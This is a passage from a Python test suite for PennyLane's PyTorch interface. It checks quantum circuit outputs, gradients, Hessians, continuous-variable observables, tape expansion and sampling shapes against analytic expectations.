np.array(\r\n            [\r\n                [np.cos(x_val / 2) ** 2, np.sin(x_val / 2) ** 2],\r\n                [\r\n                    (1 + np.cos(x_val) * np.cos(y_val)) / 2,\r\n                    (1 - np.cos(x_val) * np.cos(y_val)) / 2,\r\n                ],\r\n            ]\r\n        )\r\n\r\n        if diff_method == \"backprop\":\r\n            # TODO: check why this differs from other interfaces\r\n            # https://github.com/PennyLaneAI/pennylane/issues/1607\r\n            expected = expected.flatten()\r\n\r\n        assert np.allclose(res.detach().numpy(), expected, atol=tol, rtol=0)\r\n\r\n        loss = torch.sum(res)\r\n        loss.backward()\r\n        expected = np.array(\r\n            [\r\n                -np.sin(x_val) / 2\r\n                + np.sin(x_val) / 2\r\n                - np.sin(x_val) * np.cos(y_val) / 2\r\n                + np.cos(y_val) * np.sin(x_val) / 2,\r\n                -np.cos(x_val) * np.sin(y_val) / 2 + np.cos(x_val) * np.sin(y_val) / 2,\r\n            ]\r\n        )\r\n        assert np.allclose(x.grad, expected[0], atol=tol, rtol=0)\r\n        assert np.allclose(y.grad, expected[1], atol=tol, rtol=0)\r\n\r\n    def test_ragged_differentiation(self, dev_name, diff_method, mode, monkeypatch, tol):\r\n        \"\"\"Tests correct output shape and evaluation for a tape\r\n        with prob and expval outputs\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"The adjoint method does not currently support returning probabilities\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n        x_val = 0.543\r\n        y_val = -0.654\r\n        x = torch.tensor(x_val, requires_grad=True, dtype=torch.float64)\r\n        y = torch.tensor(y_val, requires_grad=True, dtype=torch.float64)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.expval(qml.PauliZ(0)), qml.probs(wires=[1])]\r\n\r\n        res = circuit(x, y)\r\n\r\n        expected = np.array(\r\n            [\r\n                np.cos(x_val),\r\n                (1 + np.cos(x_val) * np.cos(y_val)) / 2,\r\n                (1 - np.cos(x_val) * np.cos(y_val)) / 2,\r\n            ]\r\n        )\r\n        assert np.allclose(res.detach().numpy(), expected, atol=tol, rtol=0)\r\n\r\n        loss = torch.sum(res)\r\n        loss.backward()\r\n        expected = np.array(\r\n            [\r\n                -np.sin(x_val)\r\n                + -np.sin(x_val) * np.cos(y_val) / 2\r\n                + np.cos(y_val) * np.sin(x_val) / 2,\r\n                -np.cos(x_val) * np.sin(y_val) / 2 + np.cos(x_val) * np.sin(y_val) / 2,\r\n            ]\r\n        )\r\n        assert np.allclose(x.grad, expected[0], atol=tol, rtol=0)\r\n        assert np.allclose(y.grad, expected[1], atol=tol, rtol=0)\r\n\r\n    def test_chained_qnodes(self, dev_name, diff_method, mode):\r\n        \"\"\"Test that the gradient of chained QNodes works without error\"\"\"\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=diff_method, mode=mode)\r\n        def circuit1(weights):\r\n            qml.templates.StronglyEntanglingLayers(weights, wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliZ(1))\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=diff_method, mode=mode)\r\n        def circuit2(data, weights):\r\n            qml.templates.AngleEmbedding(data, wires=[0, 1])\r\n            qml.templates.StronglyEntanglingLayers(weights, wires=[0, 1])\r\n            return qml.expval(qml.PauliX(0))\r\n\r\n        def cost(weights):\r\n            w1, w2 = weights\r\n            c1 = circuit1(w1)\r\n            c2 = circuit2(c1, w2)\r\n            return torch.sum(c2) ** 2\r\n\r\n        w1 = np.random.random(qml.templates.StronglyEntanglingLayers.shape(3, 2))\r\n        w2 = np.random.random(qml.templates.StronglyEntanglingLayers.shape(4, 2))\r\n\r\n        w1 = torch.tensor(w1, requires_grad=True)\r\n        w2 = torch.tensor(w2, requires_grad=True)\r\n\r\n        weights = [w1, w2]\r\n\r\n        loss = cost(weights)\r\n        loss.backward()\r\n\r\n    def test_hessian(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test hessian calculation of a scalar valued QNode\"\"\"\r\n        if diff_method not in {\"parameter-shift\", \"backprop\"}:\r\n            pytest.skip(\"Test only supports parameter-shift or backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=2, interface=\"torch\")\r\n        def circuit(x):\r\n            qml.RY(x[0], wires=0)\r\n            qml.RX(x[1], wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        x = torch.tensor([1.0, 2.0], requires_grad=True)\r\n        res = circuit(x)\r\n\r\n        res.backward()\r\n        g = x.grad\r\n\r\n        hess = hessian(circuit, x)\r\n        a, b = x.detach().numpy()\r\n\r\n        expected_res = np.cos(a) * np.cos(b)\r\n        assert np.allclose(res.detach(), expected_res, atol=tol, rtol=0)\r\n\r\n        expected_g = [-np.sin(a) * np.cos(b), -np.cos(a) * np.sin(b)]\r\n        assert np.allclose(g.detach(), expected_g, atol=tol, rtol=0)\r\n\r\n        expected_hess = [\r\n            [-np.cos(a) * np.cos(b), np.sin(a) * np.sin(b)],\r\n            [np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)],\r\n        ]\r\n        assert np.allclose(hess.detach(), expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_hessian_vector_valued(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test hessian calculation of a vector valued QNode\"\"\"\r\n        if diff_method not in {\"parameter-shift\", \"backprop\"}:\r\n            pytest.skip(\"Test only supports parameter-shift or backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=2, interface=\"torch\")\r\n        def circuit(x):\r\n            qml.RY(x[0], wires=0)\r\n            qml.RX(x[1], wires=0)\r\n            return qml.probs(wires=0)\r\n\r\n        x = torch.tensor([1.0, 2.0], requires_grad=True)\r\n        res = circuit(x)\r\n        jac_fn = lambda x: jacobian(circuit, x, create_graph=True)\r\n\r\n        g = jac_fn(x)\r\n        hess = jacobian(jac_fn, x)\r\n        a, b = x.detach().numpy()\r\n\r\n        expected_res = [\r\n            0.5 + 0.5 * np.cos(a) * np.cos(b),\r\n            0.5 - 0.5 * np.cos(a) * np.cos(b),\r\n        ]\r\n        assert np.allclose(res.detach(), expected_res, atol=tol, rtol=0)\r\n\r\n        expected_g = [\r\n            [-0.5 * np.sin(a) * np.cos(b), -0.5 * np.cos(a) * np.sin(b)],\r\n            [0.5 * np.sin(a) * np.cos(b), 0.5 * np.cos(a) * np.sin(b)],\r\n        ]\r\n        assert np.allclose(g.detach(), expected_g, atol=tol, rtol=0)\r\n\r\n        expected_hess = [\r\n            [\r\n                [-0.5 * np.cos(a) * np.cos(b), 0.5 * np.sin(a) * np.sin(b)],\r\n                [0.5 * np.sin(a) * np.sin(b), -0.5 * np.cos(a) * np.cos(b)],\r\n            ],\r\n            [\r\n                [0.5 * np.cos(a) * np.cos(b), -0.5 * np.sin(a) * np.sin(b)],\r\n                [-0.5 * np.sin(a) * np.sin(b), 0.5 * np.cos(a) * np.cos(b)],\r\n            ],\r\n        ]\r\n        assert np.allclose(hess.detach(), expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_hessian_ragged(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test hessian calculation of a ragged QNode\"\"\"\r\n        if diff_method not in {\"parameter-shift\", \"backprop\"}:\r\n            pytest.skip(\"Test only supports parameter-shift or backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=2, interface=\"torch\")\r\n        def circuit(x):\r\n            qml.RY(x[0], wires=0)\r\n            qml.RX(x[1], wires=0)\r\n            qml.RY(x[0], wires=1)\r\n            qml.RX(x[1], wires=1)\r\n            return qml.expval(qml.PauliZ(0)), qml.probs(wires=1)\r\n\r\n        x = torch.tensor([1.0, 2.0], requires_grad=True)\r\n        res = circuit(x)\r\n        jac_fn = lambda x: jacobian(circuit, x, create_graph=True)\r\n\r\n        g = jac_fn(x)\r\n        hess = jacobian(jac_fn, x)\r\n        a, b = x.detach().numpy()\r\n\r\n        expected_res = [\r\n            np.cos(a) * np.cos(b),\r\n            0.5 + 0.5 * np.cos(a) * np.cos(b),\r\n            0.5 - 0.5 * np.cos(a) * np.cos(b),\r\n        ]\r\n        assert np.allclose(res.detach(), expected_res, atol=tol, rtol=0)\r\n\r\n        expected_g = [\r\n            [-np.sin(a) * np.cos(b), -np.cos(a) * np.sin(b)],\r\n            [-0.5 * np.sin(a) * np.cos(b), -0.5 * np.cos(a) * np.sin(b)],\r\n            [0.5 * np.sin(a) * np.cos(b), 0.5 * np.cos(a) * np.sin(b)],\r\n        ]\r\n        assert np.allclose(g.detach(), expected_g, atol=tol, rtol=0)\r\n\r\n        expected_hess = [\r\n            [\r\n                [-np.cos(a) * np.cos(b), np.sin(a) * np.sin(b)],\r\n                [np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)],\r\n            ],\r\n            [\r\n                [-0.5 * np.cos(a) * np.cos(b), 0.5 * np.sin(a) * np.sin(b)],\r\n                [0.5 * np.sin(a) * np.sin(b), -0.5 * np.cos(a) * np.cos(b)],\r\n            ],\r\n            [\r\n                [0.5 * np.cos(a) * np.cos(b), -0.5 * np.sin(a) * np.sin(b)],\r\n                [-0.5 * np.sin(a) * np.sin(b), 0.5 * np.cos(a) * np.cos(b)],\r\n            ],\r\n        ]\r\n        assert np.allclose(hess.detach(), expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_hessian_vector_valued_postprocessing(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test hessian calculation of a vector valued QNode with post-processing\"\"\"\r\n        if diff_method not in {\"parameter-shift\", \"backprop\"}:\r\n            pytest.skip(\"Test only supports parameter-shift or backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=2, interface=\"torch\")\r\n        def circuit(x):\r\n            qml.RX(x[0], wires=0)\r\n            qml.RY(x[1], wires=0)\r\n            return [qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliZ(0))]\r\n\r\n        x = torch.tensor([0.76, -0.87], requires_grad=True, dtype=torch.float64)\r\n\r\n        def cost_fn(x):\r\n            return x @ circuit(x)\r\n\r\n        a, b = x.detach().numpy()\r\n\r\n        res = cost_fn(x)\r\n        expected_res = np.array([a, b]) @ [np.cos(a) * np.cos(b), np.cos(a) * np.cos(b)]\r\n        assert np.allclose(res.detach(), expected_res, atol=tol, rtol=0)\r\n\r\n        res.backward()\r\n\r\n        g = x.grad\r\n        expected_g = [\r\n            np.cos(b) * (np.cos(a) - (a + b) * np.sin(a)),\r\n            np.cos(a) * (np.cos(b) - (a + b) * np.sin(b)),\r\n        ]\r\n        assert np.allclose(g.detach(), expected_g, atol=tol, rtol=0)\r\n\r\n        hess = hessian(cost_fn, x)\r\n        expected_hess = [\r\n            [\r\n                -(np.cos(b) * ((a + b) * np.cos(a) + 2 * np.sin(a))),\r\n                -(np.cos(b) * np.sin(a)) + (-np.cos(a) + (a + b) * np.sin(a)) * np.sin(b),\r\n            ],\r\n            [\r\n                -(np.cos(b) * np.sin(a)) + (-np.cos(a) + (a + b) * np.sin(a)) * np.sin(b),\r\n                -(np.cos(a) * ((a + b) * np.cos(b) + 2 * np.sin(b))),\r\n            ],\r\n        ]\r\n\r\n        assert np.allclose(hess.detach(), expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_state(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test that the state can be returned and differentiated\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support states\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        x = torch.tensor(0.543, requires_grad=True)\r\n        y = torch.tensor(-0.654, requires_grad=True)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=\"torch\", mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.state()\r\n\r\n        def cost_fn(x, y):\r\n            res = circuit(x, y)\r\n            assert res.dtype is torch.complex128\r\n            probs = torch.abs(res) ** 2\r\n            return probs[0] + probs[2]\r\n\r\n        res = cost_fn(x, y)\r\n\r\n        if diff_method not in {\"backprop\"}:\r\n            pytest.skip(\"Test only supports backprop\")\r\n\r\n        res.backward()\r\n        res = torch.tensor([x.grad, y.grad])\r\n        expected = torch.tensor(\r\n            [-torch.sin(x) * torch.cos(y) / 2, -torch.cos(x) * torch.sin(y) / 2]\r\n        )\r\n        assert torch.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    def test_projector(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test that the variance of a projector is correctly returned\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support projectors\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n        P = torch.tensor([1], requires_grad=False)\r\n\r\n        x, y = 0.765, -0.654\r\n        weights = torch.tensor([x, y], requires_grad=True, dtype=torch.float64)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=\"torch\", mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=0)\r\n            qml.RY(y, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.var(qml.Projector(P, wires=0) @ qml.PauliX(1))\r\n\r\n        res = circuit(*weights)\r\n        expected = 0.25 * np.sin(x / 2) ** 2 * (3 + np.cos(2 * y) + 2 * np.cos(x) * np.sin(y) ** 2)\r\n        assert np.allclose(res.detach(), expected, atol=tol, rtol=0)\r\n\r\n        res.backward()\r\n        expected = np.array(\r\n            [\r\n                [\r\n                    0.5 * np.sin(x) * (np.cos(x / 2) ** 2 + np.cos(2 * y) * np.sin(x / 2) ** 2),\r\n                    -2 * np.cos(y) * np.sin(x / 2) ** 4 * np.sin(y),\r\n                ]\r\n            ]\r\n        )\r\n        assert np.allclose(weights.grad.detach(), expected, atol=tol, rtol=0)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"diff_method,kwargs\",\r\n    [[\"finite-diff\", {}], (\"parameter-shift\", {}), (\"parameter-shift\", {\"force_order2\": True})],\r\n)\r\nclass TestCV:\r\n    \"\"\"Tests for CV integration\"\"\"\r\n\r\n    def test_first_order_observable(self, diff_method, kwargs, tol):\r\n        \"\"\"Test variance of a first order CV observable\"\"\"\r\n        dev = qml.device(\"default.gaussian\", wires=1)\r\n\r\n        r = torch.tensor(0.543, dtype=torch.float64, requires_grad=True)\r\n        phi = torch.tensor(-0.654, dtype=torch.float64, requires_grad=True)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=diff_method, **kwargs)\r\n        def circuit(r, phi):\r\n            qml.Squeezing(r, 0, wires=0)\r\n            qml.Rotation(phi, wires=0)\r\n            return qml.var(qml.X(0))\r\n\r\n        res = circuit(r, phi)\r\n        expected = torch.exp(2 * r) * torch.sin(phi) ** 2 + torch.exp(-2 * r) * torch.cos(phi) ** 2\r\n        assert torch.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        # circuit jacobians\r\n        res.backward()\r\n        res = torch.tensor([r.grad, phi.grad])\r\n        expected = torch.tensor(\r\n            [\r\n                [\r\n                    2 * torch.exp(2 * r) * torch.sin(phi) ** 2\r\n                    - 2 * torch.exp(-2 * r) * torch.cos(phi) ** 2,\r\n                    2 * torch.sinh(2 * r) * torch.sin(2 * phi),\r\n                ]\r\n            ]\r\n        )\r\n        assert torch.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    def test_second_order_observable(self, diff_method, kwargs, tol):\r\n        \"\"\"Test variance of a second order CV expectation value\"\"\"\r\n        dev = qml.device(\"default.gaussian\", wires=1)\r\n\r\n        n = torch.tensor(0.12, dtype=torch.float64, requires_grad=True)\r\n        a = torch.tensor(0.765, dtype=torch.float64, requires_grad=True)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=diff_method, **kwargs)\r\n        def circuit(n, a):\r\n            qml.ThermalState(n, wires=0)\r\n            qml.Displacement(a, 0, wires=0)\r\n            return qml.var(qml.NumberOperator(0))\r\n\r\n        res = circuit(n, a)\r\n        expected = n**2 + n + torch.abs(a) ** 2 * (1 + 2 * n)\r\n        assert torch.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        # circuit jacobians\r\n        res.backward()\r\n        res = torch.tensor([n.grad, a.grad])\r\n        expected = torch.tensor([[2 * a**2 + 2 * n + 1, 2 * a * (2 * n + 1)]])\r\n        assert torch.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode\", qubit_device_and_diff_method)\r\nclass TestTapeExpansion:\r\n    \"\"\"Test that tape expansion within the QNode integrates correctly\r\n    with the Torch interface\"\"\"\r\n\r\n    def test_gradient_expansion(self, dev_name, diff_method, mode, mocker):\r\n        \"\"\"Test that a *supported* operation with no gradient recipe is\r\n        expanded for both parameter-shift and finite-differences, but not for execution.\"\"\"\r\n        if diff_method not in (\"parameter-shift\", \"finite-diff\"):\r\n            pytest.skip(\"Only supports gradient transforms\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        class PhaseShift(qml.PhaseShift):\r\n            grad_method = None\r\n\r\n            def expand(self):\r\n                with qml.tape.QuantumTape() as tape:\r\n                    qml.RY(3 * self.data[0], wires=self.wires)\r\n                return tape\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=2, interface=\"torch\")\r\n        def circuit(x):\r\n            qml.Hadamard(wires=0)\r\n            PhaseShift(x, wires=0)\r\n            return qml.expval(qml.PauliX(0))\r\n\r\n        spy = mocker.spy(circuit.device, \"batch_execute\")\r\n        x = torch.tensor(0.5, requires_grad=True)\r\n\r\n        loss = circuit(x)\r\n\r\n        tape = spy.call_args[0][0][0]\r\n\r\n        spy = mocker.spy(circuit.gradient_fn, \"transform_fn\")\r\n        loss.backward()\r\n        res = x.grad\r\n\r\n        input_tape = spy.call_args[0][0]\r\n        assert len(input_tape.operations) == 2\r\n        assert input_tape.operations[1].name == \"RY\"\r\n        assert input_tape.operations[1].data[0] == 3 * x\r\n\r\n        shifted_tape1, shifted_tape2 = spy.spy_return[0]\r\n\r\n        assert len(shifted_tape1.operations) == 2\r\n        assert shifted_tape1.operations[1].name == \"RY\"\r\n\r\n        assert len(shifted_tape2.operations) == 2\r\n        assert shifted_tape2.operations[1].name == \"RY\"\r\n\r\n        assert torch.allclose(res, -3 * torch.sin(3 * x))\r\n\r\n        if diff_method == \"parameter-shift\":\r\n            # test second order derivatives\r\n            res = torch.autograd.functional.hessian(circuit, x)\r\n            assert torch.allclose(res, -9 * torch.cos(3 * x))\r\n\r\n    @pytest.mark.parametrize(\"max_diff\", [1, 2])\r\n    def test_gradient_expansion_trainable_only(self, dev_name, diff_method, mode, max_diff, mocker):\r\n        \"\"\"Test that a *supported* operation with no gradient recipe is only\r\n        expanded for parameter-shift and finite-differences when it is trainable.\"\"\"\r\n        if diff_method not in (\"parameter-shift\", \"finite-diff\"):\r\n            pytest.skip(\"Only supports gradient transforms\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        class PhaseShift(qml.PhaseShift):\r\n            grad_method = None\r\n\r\n            def expand(self):\r\n                with qml.tape.QuantumTape() as tape:\r\n                    qml.RY(3 * self.data[0], wires=self.wires)\r\n                return tape\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=max_diff, interface=\"torch\")\r\n        def circuit(x, y):\r\n            qml.Hadamard(wires=0)\r\n            PhaseShift(x, wires=0)\r\n            PhaseShift(2 * y, wires=0)\r\n            return qml.expval(qml.PauliX(0))\r\n\r\n        spy = mocker.spy(circuit.device, \"batch_execute\")\r\n        x = torch.tensor(0.5, requires_grad=True)\r\n        y = torch.tensor(0.7, requires_grad=False)\r\n\r\n        loss = circuit(x, y)\r\n\r\n        spy = mocker.spy(circuit.gradient_fn, \"transform_fn\")\r\n        loss.backward()\r\n\r\n        input_tape = spy.call_args[0][0]\r\n        assert len(input_tape.operations) == 3\r\n        assert input_tape.operations[1].name == \"RY\"\r\n        assert input_tape.operations[1].data[0] == 3 * x\r\n        assert input_tape.operations[2].name == \"PhaseShift\"\r\n        assert input_tape.operations[2].grad_method is None\r\n\r\n    @pytest.mark.parametrize(\"max_diff\", [1, 2])\r\n    def test_hamiltonian_expansion_analytic(self, dev_name, diff_method, mode, max_diff):\r\n        \"\"\"Test that if there\r\n        are non-commuting groups and the number of shots is None\r\n        the first and second order gradients are correctly evaluated\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"The adjoint method does not yet support Hamiltonians\")\r\n\r\n        dev = qml.device(dev_name, wires=3, shots=None)\r\n        obs = [qml.PauliX(0), qml.PauliX(0) @ qml.PauliZ(1), qml.PauliZ(0) @ qml.PauliZ(1)]\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=max_diff, interface=\"torch\")\r\n        def circuit(data, weights, coeffs):\r\n            weights = torch.reshape(weights, [1, -1])\r\n            qml.templates.AngleEmbedding(data, wires=[0, 1])\r\n            qml.templates.BasicEntanglerLayers(weights, wires=[0, 1])\r\n            return qml.expval(qml.Hamiltonian(coeffs, obs))\r\n\r\n        d = torch.tensor([0.1, 0.2], requires_grad=False, dtype=torch.float64)\r\n        w = torch.tensor([0.654, -0.734], requires_grad=True, dtype=torch.float64)\r\n        c = torch.tensor([-0.6543, 0.24, 0.54], requires_grad=True, dtype=torch.float64)\r\n\r\n        # test output\r\n        res = circuit(d, w, c)\r\n\r\n        expected = c[2] * torch.cos(d[1] + w[1]) - c[1] * torch.sin(d[0] + w[0]) * torch.sin(\r\n            d[1] + w[1]\r\n        )\r\n        assert torch.allclose(res, expected)\r\n\r\n        # test gradients\r\n        res.backward()\r\n        grad = (w.grad, c.grad)\r\n\r\n        expected_w = torch.tensor(\r\n            [\r\n                -c[1] * torch.cos(d[0] + w[0]) * torch.sin(d[1] + w[1]),\r\n                -c[1] * torch.cos(d[1] + w[1]) * torch.sin(d[0] + w[0])\r\n                - c[2] * torch.sin(d[1] + w[1]),\r\n            ]\r\n        )\r\n        expected_c = torch.tensor(\r\n            [0, -torch.sin(d[0] + w[0]) * torch.sin(d[1] + w[1]), torch.cos(d[1] + w[1])]\r\n        )\r\n        assert torch.allclose(grad[0], expected_w)\r\n        assert torch.allclose(grad[1], expected_c)\r\n\r\n        # test second-order derivatives\r\n        if diff_method in (\"parameter-shift\", \"backprop\") and max_diff == 2:\r\n            hessians = torch.autograd.functional.hessian(circuit, (d, w, c))\r\n\r\n            grad2_c = hessians[2][2]\r\n            assert torch.allclose(grad2_c, torch.zeros([3, 3], dtype=torch.float64))\r\n\r\n            grad2_w_c = hessians[1][2]\r\n            expected = torch.tensor(\r\n                [\r\n                    [0, -torch.cos(d[0] + w[0]) * torch.sin(d[1] + w[1]), 0],\r\n                    [\r\n                        0,\r\n                        -torch.cos(d[1] + w[1]) * torch.sin(d[0] + w[0]),\r\n                        -torch.sin(d[1] + w[1]),\r\n                    ],\r\n                ]\r\n            )\r\n            assert torch.allclose(grad2_w_c, expected)\r\n\r\n    @pytest.mark.parametrize(\"max_diff\", [1, 2])\r\n    def test_hamiltonian_expansion_finite_shots(\r\n        self, dev_name, diff_method, mode, max_diff, mocker\r\n    ):\r\n        \"\"\"Test that the Hamiltonian is expanded if there\r\n        are non-commuting groups and the number of shots is finite\r\n        and the first and second order gradients are correctly evaluated\"\"\"\r\n        if diff_method in (\"adjoint\", \"backprop\", \"finite-diff\"):\r\n            pytest.skip(\"The adjoint and backprop methods do not yet support sampling\")\r\n\r\n        dev = qml.device(dev_name, wires=3, shots=50000)\r\n        spy = mocker.spy(qml.transforms, \"hamiltonian_expand\")\r\n        obs = [qml.PauliX(0), qml.PauliX(0) @ qml.PauliZ(1), qml.PauliZ(0) @ qml.PauliZ(1)]\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=max_diff, interface=\"torch\")\r\n        def circuit(data, weights, coeffs):\r\n            weights = torch.reshape(weights, [1, -1])\r\n            qml.templates.AngleEmbedding(data, wires=[0, 1])\r\n            qml.templates.BasicEntanglerLayers(weights, wires=[0, 1])\r\n            H = qml.Hamiltonian(coeffs, obs)\r\n            H.compute_grouping()\r\n            return qml.expval(H)\r\n\r\n        d = torch.tensor([0.1, 0.2], requires_grad=False, dtype=torch.float64)\r\n        w = torch.tensor([0.654, -0.734], requires_grad=True, dtype=torch.float64)\r\n        c = torch.tensor([-0.6543, 0.24, 0.54], requires_grad=True, dtype=torch.float64)\r\n\r\n        # test output\r\n        res = circuit(d, w, c)\r\n\r\n        expected = c[2] * torch.cos(d[1] + w[1]) - c[1] * torch.sin(d[0] + w[0]) * torch.sin(\r\n            d[1] + w[1]\r\n        )\r\n        assert torch.allclose(res, expected, atol=0.1)\r\n        spy.assert_called()\r\n\r\n        # test gradients\r\n        res.backward()\r\n        grad = (w.grad, c.grad)\r\n\r\n        expected_w = torch.tensor(\r\n            [\r\n                -c[1] * torch.cos(d[0] + w[0]) * torch.sin(d[1] + w[1]),\r\n                -c[1] * torch.cos(d[1] + w[1]) * torch.sin(d[0] + w[0])\r\n                - c[2] * torch.sin(d[1] + w[1]),\r\n            ]\r\n        )\r\n        expected_c = torch.tensor(\r\n            [0, -torch.sin(d[0] + w[0]) * torch.sin(d[1] + w[1]), torch.cos(d[1] + w[1])]\r\n        )\r\n        assert torch.allclose(grad[0], expected_w, atol=0.1)\r\n        assert torch.allclose(grad[1], expected_c, atol=0.1)\r\n\r\n        # test second-order derivatives\r\n        if diff_method == \"parameter-shift\" and max_diff == 2:\r\n            hessians = torch.autograd.functional.hessian(circuit, (d, w, c))\r\n\r\n            grad2_c = hessians[2][2]\r\n            assert torch.allclose(grad2_c, torch.zeros([3, 3], dtype=torch.float64), atol=0.1)\r\n\r\n            grad2_w_c = hessians[1][2]\r\n            expected = torch.tensor(\r\n                [\r\n                    [0, -torch.cos(d[0] + w[0]) * torch.sin(d[1] + w[1]), 0],\r\n                    [\r\n                        0,\r\n                        -torch.cos(d[1] + w[1]) * torch.sin(d[0] + w[0]),\r\n                        -torch.sin(d[1] + w[1]),\r\n                    ],\r\n                ]\r\n            )\r\n            assert torch.allclose(grad2_w_c, expected, atol=0.1)\r\n\r\n\r\nclass TestSample:\r\n    \"\"\"Tests for the sample integration\"\"\"\r\n\r\n    def test_sample_dimension(self):\r\n        \"\"\"Test sampling works as expected\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=10)\r\n\r\n        @qnode(dev, diff_method=\"parameter-shift\", interface=\"torch\")\r\n        def circuit():\r\n            qml.Hadamard(wires=[0])\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.sample(qml.PauliZ(0)), qml.sample(qml.PauliX(1))]\r\n\r\n        res = circuit()\r\n\r\n        assert res.shape == (2, 10)\r\n        assert isinstance(res, torch.Tensor)\r\n\r\n    def test_sampling_expval(self):\r\n        \"\"\"Test sampling works as expected if combined with expectation values\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=10)\r\n\r\n        @qnode(dev, diff_method=\"parameter-shift\", interface=\"torch\")\r\n        def circuit():\r\n            qml.Hadamard(wires=[0])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.sample(qml.PauliZ(0)), qml.expval(qml.PauliX(1))\r\n\r\n        res = circuit()\r\n\r\n        assert len(res) == 2\r\n        assert isinstance(res, tuple)\r\n        assert res[0].shape == (10,)\r\n        assert isinstance(res[0], torch.Tensor)\r\n        assert isinstance(res[1], torch.Tensor)\r\n\r\n    def test_sample_combination(self, tol):\r\n        \"\"\"Test the output of combining expval, var and sample\"\"\"\r\n        n_sample = 10\r\n\r\n        dev = qml.device(\"default.qubit\", wires=3, shots=n_sample)\r\n\r\n        @qnode(dev, diff_method=\"parameter-shift\", interface=\"torch\")\r\n        def circuit():\r\n            qml.RX(0.54, wires=0)\r\n\r\n            return qml.sample(qml.PauliZ(0)), qml.expval(qml.PauliX(1)), qml.var(qml.PauliY(2))\r\n\r\n        result = circuit()\r\n\r\n        assert len(result) == 3\r\n        assert np.array_equal(result[0].shape, (n_sample,))\r\n        assert isinstance(result[1], torch.Tensor)\r\n        assert isinstance(result[2], torch.Tensor)\r\n        assert result[0].dtype is torch.int64\r\n\r\n    def test_single_wire_sample(self, tol):\r\n        \"\"\"Test the return type and shape of sampling a single wire\"\"\"\r\n        n_sample = 10\r\n\r\n        dev = qml.device(\"default.qubit\", wires=1, shots=n_sample)\r\n\r\n        @qnode(dev, diff_method=\"parameter-shift\", interface=\"torch\")\r\n        def circuit():\r\n            qml.RX(0.54, wires=0)\r\n\r\n            return qml.sample(qml.PauliZ(0))\r\n\r\n        result = circuit()\r\n\r\n        assert isinstance(result, torch.Tensor)\r\n        assert np.array_equal(result.shape, (n_sample,))\r\n\r\n    def test_multi_wire_sample_regular_shape(self, tol):\r\n        \"\"\"Test the return type and shape of sampling multiple wires\r\n        where a rectangular array is expected\"\"\"\r\n        n_sample = 10\r\n\r\n        dev = qml.device(\"default.qubit\", wires=3, shots=n_sample)\r\n\r\n        @qnode(dev, diff_method=\"parameter-shift\", interface=\"torch\")\r\n        def circuit():\r\n            return qml.sample(qml.PauliZ(0)), qml.sample(qml.PauliZ(1)), qml.sample(qml.PauliZ(2))\r\n\r\n        result = circuit()\r\n\r\n        # If all the dimensions are equal the result will end up to be a 